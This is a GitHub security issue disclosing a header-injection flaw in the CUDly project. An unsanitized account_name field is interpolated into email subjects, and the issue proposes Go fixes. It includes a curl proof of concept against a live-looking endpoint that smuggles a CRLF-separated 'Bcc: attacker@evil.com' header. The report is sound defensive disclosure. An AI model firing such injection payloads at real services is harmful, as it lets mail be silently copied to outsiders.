Skip to content

sec(email): registration notification subject built from unsanitized AccountName — SMTP header injection #401

Description

@cristim

Summary

The registration notification email subject is built directly from the attacker-controlled account_name field submitted to the unauthenticated POST /api/register endpoint:

// internal/email/smtp_sender.go:413
subject := fmt.Sprintf("CUDly - New Account Registration: %s (%s)", data.AccountName, data.Provider)

sanitizeHeader is called on toEmail and subject inside SendToEmailWithCC but the subject is constructed from raw user input before it is passed to the send function. Because sanitizeHeader strips \r and \n, the subject parameter reaching buildSMTPMessage is safe. However, the construction pattern is fragile:

  1. data.AccountName flows from body.AccountName in submitRegistration with no length or character-class validation (only != "" and email format checks are done in validateRegistrationRequest).
  2. A sufficiently long or Unicode-heavy account name can bloat the Subject: header line beyond 998 characters, causing RFC-5321-noncompliant message framing that some spam filters or mail gateways handle incorrectly.
  3. More critically, the SES sender path (internal/email/sender.go) also builds the same subject string from data.AccountName and passes it directly to the SES API — SES accepts MIME header values verbatim; an AccountName containing \r\n would not be stripped by sanitizeHeader (since sanitizeHeader is only called in the SMTP path, not the SES path).

Location

  • internal/email/smtp_sender.go line 413 — SMTP subject construction
  • internal/email/templates.go line 808 — SES subject construction (same fmt.Sprintf pattern, no sanitization call)
  • internal/api/handler_registrations.go lines 63-67 — account_name copied verbatim from unauthenticated POST body

Reproduction (PoC)

curl -s -X POST \
  "https://33pz7pombdqwu3bdlxp4lqxyra0bsriy.lambda-url.us-east-1.on.aws/api/register" \
  -H "Content-Type: application/json" \
  -d '{
    "provider": "aws",
    "external_id": "123456789012",
    "account_name": "Legit Account\r\nBcc: attacker@evil.com",
    "contact_email": "attacker@example.com"
  }'

Against the SES path the \r\n is not stripped before SES sees it. SES may reject the call with a validation error (best case) or forward the injected Bcc header (worst case, depends on SES version and SDK).

Suggested Fix

  1. In validateRegistrationRequest, add a length cap and character allowlist (or CRLF strip) on AccountName:
    if len(body.AccountName) > 200 {
        return NewClientError(400, "account_name too long")
    }
    accountName = strings.NewReplacer("\r", "", "\n", "").Replace(body.AccountName)
  2. In templates.go (SES path), apply sanitizeHeader to the account name before interpolating into the subject:
    subject := fmt.Sprintf("CUDly - New Account Registration: %s (%s)",
        sanitizeHeader(data.AccountName), sanitizeHeader(data.Provider))

Severity Rationale

Medium. The SMTP path is protected by sanitizeHeader at the send site. The SES path is not. Exploitability depends on whether the SES SDK validates MIME headers before sending; in practice SES SDKs do validate headers which limits severity, but the defence-in-depth gap at the data source is real and the fix is trivial.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions